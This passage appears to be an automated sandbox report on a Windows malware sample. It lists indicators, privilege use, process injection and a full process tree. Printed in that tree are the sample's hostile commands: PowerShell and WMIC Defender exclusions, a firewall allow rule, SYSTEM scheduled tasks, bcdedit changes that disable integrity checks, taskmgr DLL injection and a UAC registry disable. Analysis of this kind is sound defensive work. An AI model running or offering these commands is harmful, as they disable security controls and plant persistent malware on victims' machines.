59f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exepowershell.exeihVAocaecZJtyXZ7CkLGJpfb.exemCR3AVzyGr7MPxLy7AiVy03L.exeQg_Appv5.exemCR3AVzyGr7MPxLy7AiVy03L.exepowershell.exepowershell.exeUniversalInstaller.exeihVAocaecZJtyXZ7CkLGJpfb.exeUniversalInstaller.exeSystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.execmd.exepowershell.exeinjector.exewyOxbcC.exepowershell.exepowershell.exepid process 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe 1940 powershell.exe 2768 ihVAocaecZJtyXZ7CkLGJpfb.exe 1544 mCR3AVzyGr7MPxLy7AiVy03L.exe 1544 mCR3AVzyGr7MPxLy7AiVy03L.exe 1184 Qg_Appv5.exe 2324 mCR3AVzyGr7MPxLy7AiVy03L.exe 2324 mCR3AVzyGr7MPxLy7AiVy03L.exe 2324 mCR3AVzyGr7MPxLy7AiVy03L.exe 2324 mCR3AVzyGr7MPxLy7AiVy03L.exe 2324 mCR3AVzyGr7MPxLy7AiVy03L.exe 1184 Qg_Appv5.exe 3028 powershell.exe 1556 powershell.exe 1184 Qg_Appv5.exe 1496 UniversalInstaller.exe 1896 ihVAocaecZJtyXZ7CkLGJpfb.exe 1896 ihVAocaecZJtyXZ7CkLGJpfb.exe 1896 ihVAocaecZJtyXZ7CkLGJpfb.exe 1896 ihVAocaecZJtyXZ7CkLGJpfb.exe 1896 ihVAocaecZJtyXZ7CkLGJpfb.exe 1628 UniversalInstaller.exe 1628 UniversalInstaller.exe 1920 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 1168 cmd.exe 1168 cmd.exe 2020 powershell.exe 2308 injector.exe 2308 injector.exe 1920 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 1920 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2308 injector.exe 2308 injector.exe 2308 injector.exe 2308 injector.exe 2308 injector.exe 2308 injector.exe 2308 injector.exe 1124 wyOxbcC.exe 1124 wyOxbcC.exe 1124 wyOxbcC.exe 1124 wyOxbcC.exe 1124 wyOxbcC.exe 2308 injector.exe 2904 powershell.exe 1124 wyOxbcC.exe 1124 wyOxbcC.exe 1124 wyOxbcC.exe 2308 injector.exe 2308 injector.exe 2876 powershell.exe 2308 injector.exe 2308 injector.exe 2308 injector.exe 2308 injector.exe 2308 injector.exe 1124 wyOxbcC.exe 1124 wyOxbcC.exe 1124 wyOxbcC.exe 2308 injector.exe 2308 injector.exe 2308 injector.exe 2308 injector.exe 2308 injector.exe -
Suspicious behavior: LoadsDriver 2 IoCs
Processes:
pid process 468 468 -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
UniversalInstaller.exepid process 1628 UniversalInstaller.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exepowershell.exeinstallutil.exeihVAocaecZJtyXZ7CkLGJpfb.exemCR3AVzyGr7MPxLy7AiVy03L.exepowershell.exepowershell.exeWMIC.exeWMIC.exeSystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exepowershell.exeWMIC.exedescription pid process Token: SeDebugPrivilege 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe Token: SeDebugPrivilege 1940 powershell.exe Token: SeDebugPrivilege 2148 installutil.exe Token: SeDebugPrivilege 2768 ihVAocaecZJtyXZ7CkLGJpfb.exe Token: SeImpersonatePrivilege 2768 ihVAocaecZJtyXZ7CkLGJpfb.exe Token: SeDebugPrivilege 1544 mCR3AVzyGr7MPxLy7AiVy03L.exe Token: SeImpersonatePrivilege 1544 mCR3AVzyGr7MPxLy7AiVy03L.exe Token: SeDebugPrivilege 1544 mCR3AVzyGr7MPxLy7AiVy03L.exe Token: SeImpersonatePrivilege 1544 mCR3AVzyGr7MPxLy7AiVy03L.exe Token: SeDebugPrivilege 3028 powershell.exe Token: SeDebugPrivilege 1556 powershell.exe Token: SeIncreaseQuotaPrivilege 3068 WMIC.exe Token: SeSecurityPrivilege 3068 WMIC.exe Token: SeTakeOwnershipPrivilege 3068 WMIC.exe Token: SeLoadDriverPrivilege 3068 WMIC.exe Token: SeSystemProfilePrivilege 3068 WMIC.exe Token: SeSystemtimePrivilege 3068 WMIC.exe Token: SeProfSingleProcessPrivilege 3068 WMIC.exe Token: SeIncBasePriorityPrivilege 3068 WMIC.exe Token: SeCreatePagefilePrivilege 3068 WMIC.exe Token: SeBackupPrivilege 3068 WMIC.exe Token: SeRestorePrivilege 3068 WMIC.exe Token: SeShutdownPrivilege 3068 WMIC.exe Token: SeDebugPrivilege 3068 WMIC.exe Token: SeSystemEnvironmentPrivilege 3068 WMIC.exe Token: SeRemoteShutdownPrivilege 3068 WMIC.exe Token: SeUndockPrivilege 3068 WMIC.exe Token: SeManageVolumePrivilege 3068 WMIC.exe Token: 33 3068 WMIC.exe Token: 34 3068 WMIC.exe Token: 35 3068 WMIC.exe Token: SeIncreaseQuotaPrivilege 1680 WMIC.exe Token: SeSecurityPrivilege 1680 WMIC.exe Token: SeTakeOwnershipPrivilege 1680 WMIC.exe Token: SeLoadDriverPrivilege 1680 WMIC.exe Token: SeSystemProfilePrivilege 1680 WMIC.exe Token: SeSystemtimePrivilege 1680 WMIC.exe Token: SeProfSingleProcessPrivilege 1680 WMIC.exe Token: SeIncBasePriorityPrivilege 1680 WMIC.exe Token: SeCreatePagefilePrivilege 1680 WMIC.exe Token: SeBackupPrivilege 1680 WMIC.exe Token: SeRestorePrivilege 1680 WMIC.exe Token: SeShutdownPrivilege 1680 WMIC.exe Token: SeDebugPrivilege 1680 WMIC.exe Token: SeSystemEnvironmentPrivilege 1680 WMIC.exe Token: SeRemoteShutdownPrivilege 1680 WMIC.exe Token: SeUndockPrivilege 1680 WMIC.exe Token: SeManageVolumePrivilege 1680 WMIC.exe Token: 33 1680 WMIC.exe Token: 34 1680 WMIC.exe Token: 35 1680 WMIC.exe Token: SeDebugPrivilege 1920 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Token: SeDebugPrivilege 2020 powershell.exe Token: SeAssignPrimaryTokenPrivilege 2476 WMIC.exe Token: SeIncreaseQuotaPrivilege 2476 WMIC.exe Token: SeSecurityPrivilege 2476 WMIC.exe Token: SeTakeOwnershipPrivilege 2476 WMIC.exe Token: SeLoadDriverPrivilege 2476 WMIC.exe Token: SeSystemtimePrivilege 2476 WMIC.exe Token: SeBackupPrivilege 2476 WMIC.exe Token: SeRestorePrivilege 2476 WMIC.exe Token: SeShutdownPrivilege 2476 WMIC.exe Token: SeSystemEnvironmentPrivilege 2476 WMIC.exe Token: SeUndockPrivilege 2476 WMIC.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
Processes:
ut4.1.exepid process 2320 ut4.1.exe 2320 ut4.1.exe 2320 ut4.1.exe 2320 ut4.1.exe 2320 ut4.1.exe 2320 ut4.1.exe 2320 ut4.1.exe -
Suspicious use of SendNotifyMessage 7 IoCs
Processes:
ut4.1.exepid process 2320 ut4.1.exe 2320 ut4.1.exe 2320 ut4.1.exe 2320 ut4.1.exe 2320 ut4.1.exe 2320 ut4.1.exe 2320 ut4.1.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
Qg_Appv5.exeUniversalInstaller.exeUniversalInstaller.exepid process 1184 Qg_Appv5.exe 1496 UniversalInstaller.exe 1496 UniversalInstaller.exe 1628 UniversalInstaller.exe 1628 UniversalInstaller.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exeinstallutil.exeBLs8QKIDGswyOr3AAVlhpZjd.exei5kRDbOKbrdtQX6nnSWk8jTv.exeQtUUngaStcIZoM7v0cC6tLZY.exedescription pid process target process PID 2196 wrote to memory of 1940 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe powershell.exe PID 2196 wrote to memory of 1940 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe powershell.exe PID 2196 wrote to memory of 1940 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe powershell.exe PID 2196 wrote to memory of 2148 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe installutil.exe PID 2196 wrote to memory of 2148 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe installutil.exe PID 2196 wrote to memory of 2148 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe installutil.exe PID 2196 wrote to memory of 2148 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe installutil.exe PID 2196 wrote to memory of 2148 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe installutil.exe PID 2196 wrote to memory of 2148 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe installutil.exe PID 2196 wrote to memory of 2148 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe installutil.exe PID 2196 wrote to memory of 2148 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe installutil.exe PID 2196 wrote to memory of 2148 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe installutil.exe PID 2196 wrote to memory of 2148 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe installutil.exe PID 2196 wrote to memory of 2148 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe installutil.exe PID 2196 wrote to memory of 2148 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe installutil.exe PID 2196 wrote to memory of 2624 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe WerFault.exe PID 2196 wrote to memory of 2624 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe WerFault.exe PID 2196 wrote to memory of 2624 2196 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe WerFault.exe PID 2148 wrote to memory of 1048 2148 installutil.exe BLs8QKIDGswyOr3AAVlhpZjd.exe PID 2148 wrote to memory of 1048 2148 installutil.exe BLs8QKIDGswyOr3AAVlhpZjd.exe PID 2148 wrote to memory of 1048 2148 installutil.exe BLs8QKIDGswyOr3AAVlhpZjd.exe PID 2148 wrote to memory of 1048 2148 installutil.exe BLs8QKIDGswyOr3AAVlhpZjd.exe PID 2148 wrote to memory of 2768 2148 installutil.exe forfiles.exe PID 2148 wrote to memory of 2768 2148 installutil.exe forfiles.exe PID 2148 wrote to memory of 2768 2148 installutil.exe forfiles.exe PID 2148 wrote to memory of 2768 2148 installutil.exe forfiles.exe PID 2148 wrote to memory of 1544 2148 installutil.exe mCR3AVzyGr7MPxLy7AiVy03L.exe PID 2148 wrote to memory of 1544 2148 installutil.exe mCR3AVzyGr7MPxLy7AiVy03L.exe PID 2148 wrote to memory of 1544 2148 installutil.exe mCR3AVzyGr7MPxLy7AiVy03L.exe PID 2148 wrote to memory of 1544 2148 installutil.exe mCR3AVzyGr7MPxLy7AiVy03L.exe PID 1048 wrote to memory of 2044 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe conhost.exe PID 1048 wrote to memory of 2044 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe conhost.exe PID 1048 wrote to memory of 2044 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe conhost.exe PID 1048 wrote to memory of 2044 1048 BLs8QKIDGswyOr3AAVlhpZjd.exe conhost.exe PID 2148 wrote to memory of 1464 2148 installutil.exe H1R9yVgc2hsnjftMSftKbBxx.exe PID 2148 wrote to memory of 1464 2148 installutil.exe H1R9yVgc2hsnjftMSftKbBxx.exe PID 2148 wrote to memory of 1464 2148 installutil.exe H1R9yVgc2hsnjftMSftKbBxx.exe PID 2148 wrote to memory of 1464 2148 installutil.exe H1R9yVgc2hsnjftMSftKbBxx.exe PID 2148 wrote to memory of 2008 2148 installutil.exe i5kRDbOKbrdtQX6nnSWk8jTv.exe PID 2148 wrote to memory of 2008 2148 installutil.exe i5kRDbOKbrdtQX6nnSWk8jTv.exe PID 2148 wrote to memory of 2008 2148 installutil.exe i5kRDbOKbrdtQX6nnSWk8jTv.exe PID 2148 wrote to memory of 2008 2148 installutil.exe i5kRDbOKbrdtQX6nnSWk8jTv.exe PID 2148 wrote to memory of 2008 2148 installutil.exe i5kRDbOKbrdtQX6nnSWk8jTv.exe PID 2148 wrote to memory of 2008 2148 installutil.exe i5kRDbOKbrdtQX6nnSWk8jTv.exe PID 2148 wrote to memory of 2008 2148 installutil.exe i5kRDbOKbrdtQX6nnSWk8jTv.exe PID 2148 wrote to memory of 692 2148 installutil.exe QtUUngaStcIZoM7v0cC6tLZY.exe PID 2148 wrote to memory of 692 2148 installutil.exe QtUUngaStcIZoM7v0cC6tLZY.exe PID 2148 wrote to memory of 692 2148 installutil.exe QtUUngaStcIZoM7v0cC6tLZY.exe PID 2148 wrote to memory of 692 2148 installutil.exe QtUUngaStcIZoM7v0cC6tLZY.exe PID 2148 wrote to memory of 692 2148 installutil.exe QtUUngaStcIZoM7v0cC6tLZY.exe PID 2148 wrote to memory of 692 2148 installutil.exe QtUUngaStcIZoM7v0cC6tLZY.exe PID 2148 wrote to memory of 692 2148 installutil.exe QtUUngaStcIZoM7v0cC6tLZY.exe PID 2008 wrote to memory of 2084 2008 i5kRDbOKbrdtQX6nnSWk8jTv.exe Install.exe PID 2008 wrote to memory of 2084 2008 i5kRDbOKbrdtQX6nnSWk8jTv.exe Install.exe PID 2008 wrote to memory of 2084 2008 i5kRDbOKbrdtQX6nnSWk8jTv.exe Install.exe PID 2008 wrote to memory of 2084 2008 i5kRDbOKbrdtQX6nnSWk8jTv.exe Install.exe PID 2008 wrote to memory of 2084 2008 i5kRDbOKbrdtQX6nnSWk8jTv.exe Install.exe PID 2008 wrote to memory of 2084 2008 i5kRDbOKbrdtQX6nnSWk8jTv.exe Install.exe PID 2008 wrote to memory of 2084 2008 i5kRDbOKbrdtQX6nnSWk8jTv.exe Install.exe PID 692 wrote to memory of 1592 692 QtUUngaStcIZoM7v0cC6tLZY.exe Install.exe PID 692 wrote to memory of 1592 692 QtUUngaStcIZoM7v0cC6tLZY.exe Install.exe PID 692 wrote to memory of 1592 692 QtUUngaStcIZoM7v0cC6tLZY.exe Install.exe PID 692 wrote to memory of 1592 692 QtUUngaStcIZoM7v0cC6tLZY.exe Install.exe PID 692 wrote to memory of 1592 692 QtUUngaStcIZoM7v0cC6tLZY.exe Install.exe -
System policy modification 1 TTPs 1 IoCs
Processes:
2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe"C:\Users\Admin\AppData\Local\Temp\2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\2aca1abc45a264170f1e9dad15de072ed216b3f56e79f2a721da170c37f1d53d.exe" -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"2⤵
- Drops startup file
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Pictures\BLs8QKIDGswyOr3AAVlhpZjd.exe"C:\Users\Admin\Pictures\BLs8QKIDGswyOr3AAVlhpZjd.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\ut4.0.exe"C:\Users\Admin\AppData\Local\Temp\ut4.0.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exeC:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Zqicom_beta\UniversalInstaller.exeC:\Users\Admin\AppData\Roaming\Zqicom_beta\UniversalInstaller.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe7⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\ut4.1.exe"C:\Users\Admin\AppData\Local\Temp\ut4.1.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\ihVAocaecZJtyXZ7CkLGJpfb.exe"C:\Users\Admin\Pictures\ihVAocaecZJtyXZ7CkLGJpfb.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\ihVAocaecZJtyXZ7CkLGJpfb.exe"C:\Users\Admin\Pictures\ihVAocaecZJtyXZ7CkLGJpfb.exe"4⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
C:\Users\Admin\Pictures\mCR3AVzyGr7MPxLy7AiVy03L.exe"C:\Users\Admin\Pictures\mCR3AVzyGr7MPxLy7AiVy03L.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\mCR3AVzyGr7MPxLy7AiVy03L.exe"C:\Users\Admin\Pictures\mCR3AVzyGr7MPxLy7AiVy03L.exe"4⤵
- Windows security bypass
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Manipulates WinMon driver.
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Modifies system certificate store
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 07⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 17⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 07⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v6⤵
- Modifies boot configuration data using bcdedit
-
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe6⤵
- Executes dropped EXE
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵
-
C:\Users\Admin\Pictures\H1R9yVgc2hsnjftMSftKbBxx.exe"C:\Users\Admin\Pictures\H1R9yVgc2hsnjftMSftKbBxx.exe"3⤵
- Modifies firewall policy service
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\i5kRDbOKbrdtQX6nnSWk8jTv.exe"C:\Users\Admin\Pictures\i5kRDbOKbrdtQX6nnSWk8jTv.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS23F5.tmp\Install.exe.\Install.exe /sQwdidHh "385118" /S4⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"5⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True8⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 22:31:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\NHUdrkF.exe\" em /iwsite_idozm 385118 /S" /V1 /F5⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "bWycNackLSywaqkmgR"5⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "BAnwxolbGpCzXNxkj" /SC once /ST 07:28:18 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\sCLSBctEBYVgufH\LaaVLNZ.exe\" XT /SIsite_idTIg 385118 /S" /V1 /F5⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "BAnwxolbGpCzXNxkj"5⤵
-
